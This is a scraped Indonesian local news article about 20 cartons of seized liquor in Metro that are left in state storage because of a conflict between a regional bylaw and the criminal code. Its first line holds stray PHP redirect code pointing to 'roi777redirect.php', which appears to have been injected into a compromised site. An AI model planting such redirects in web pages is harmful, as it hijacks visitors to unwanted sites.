header( 'Location: /roi777redirect.php true, 303 );header( 'Location: roi777redirect.php', true, 303 ); Duh ! Ahirnya 20 Kardus Miras Dititipkan -
Duh ! Ahirnya 20 Kardus Miras Dititipkan

TRANSLAMPUNG.COM – Setelah melalui proses panjang tak kunjung ada kejelasan dalam melakukan eksekusi pemusnahan, 20 kardus minum keras (Miras) merek “Draf Bear” hasil razia yang dilakukan Satuan Polisi Pamong Praja (Satpol PP) terkatung katung.  Hingga akhirnya dititipkan di Rumah Penyimpanan Benda Sitaan Negara (Rubasan) Klas II Metro.

Kasi Penegakan Perda Asrory,  S.IP membenarkan, bahwa BB (Barang Bukti) hasil sitaan yang diduga ada kaitanya dengan tindakan pidana ringan tentang larangan produksi, penimbunan, pengedaran dan penjualan minuman beralkohol.

“Razia tersebut dilakukan pada 4 Juni 2016 silam, dikediaman Saudara Johan Bin Handoko Jl. Tiram RT014 RW007 Iringmulyo Metro Timur. Dan berhasil mengamnakan 20 dus miras, pada saat akan melakukan pemusnahan mengajukan berkas ke Kejaksaan ditolak. Sebab tidak singkron antara KUHP dan Perda tidak sama jatuh hukumanya,”terangnya, Kamis (2/1/2017)

Lebih lanjut, kata Asrory untuk kepentingan penyidikan tindak pidana ringan, dipandang perlu dilakukan tindakan hukum maupun tindak langsung dengan tindakan pidana yang telah  terjadi. Namun, karna kondisi dan situasi BB tersebut memerlukan pengamanan khusus.

“Semebari menunggu merevisi Perda No.03 Tahun 2008 tentang larangan peredaran miras yang selama ini dinilai tidak sesuai dalam penegakanya. Makanya, miras tersebut sementara dititipkan di Rubasan, ”pungkasnya.

Diberitakan sebelumnya, mlenaggapi hal tersebut, Kepala Kejaksaan Negri (Kajari) Kota Metro Fransisca Djuwariyah, S.H didamping Kasi Pidana Umum Adi Maulana membenarkan, bahwa belum lama ini telah menerima pelimpahan berkas pemusnahan miras dari Sat Pol PP. Namun teknis isi pelaksanan itu salah, sehingga kita mau melakukan peradilan cepat tidak bisa.

“Perda yang sudah ada belum dapat diaplikasikan maksimal ini masih koordinasi dengan stakholder terkait untuk diperbaharui, agar ketika melakukan penagkapan terhadap miras dapat segera dilaksanakan dengan peradilan acara pemeriksaan singkat. Sehinga dalam waktu satu bulan putusan tersebut sudah selesai,” ungkapnya kepada radarmetro. com,  Jumat (9/12) lalu.

Ditegaskan Adi, selama ini kebanyakan sifatnya hanya kordinasi, komunikasi dengan Satpol PP dan pihak Kepolisian sehingga  proses memerlukan waktu cukup panjang. “ Nah untuk itu kedepan setelah perda itu kuat bersama Satpol PP dan kepolisiaan ada laporan kita bisa bersama melakukan hal-hal seperti tinjau kelokasi dan langsung diekskusi,”cetusnya.

Lebih lanjut, Adi mengaku bingung terhadap barang sitaan miras tersebut. Karna ada beberapa kesalahan nonteknis dari awal. Berkas sudah masuk di meja saya. Mereka bukan melakukan proses peradilan cepat, tidak bisa  tapi dia peradilan singkat.“Iya nanti soal revisi perda kita juga akan segera koordinasi dengan bidang perdata dan tata usaha negara (Datun)untuk dikeluarkan pertimbangan pendamping. Sebagaimana penegakan hukum tentang miras di Kota Metro,”ujarnya.(*/fdy) 

News Reporter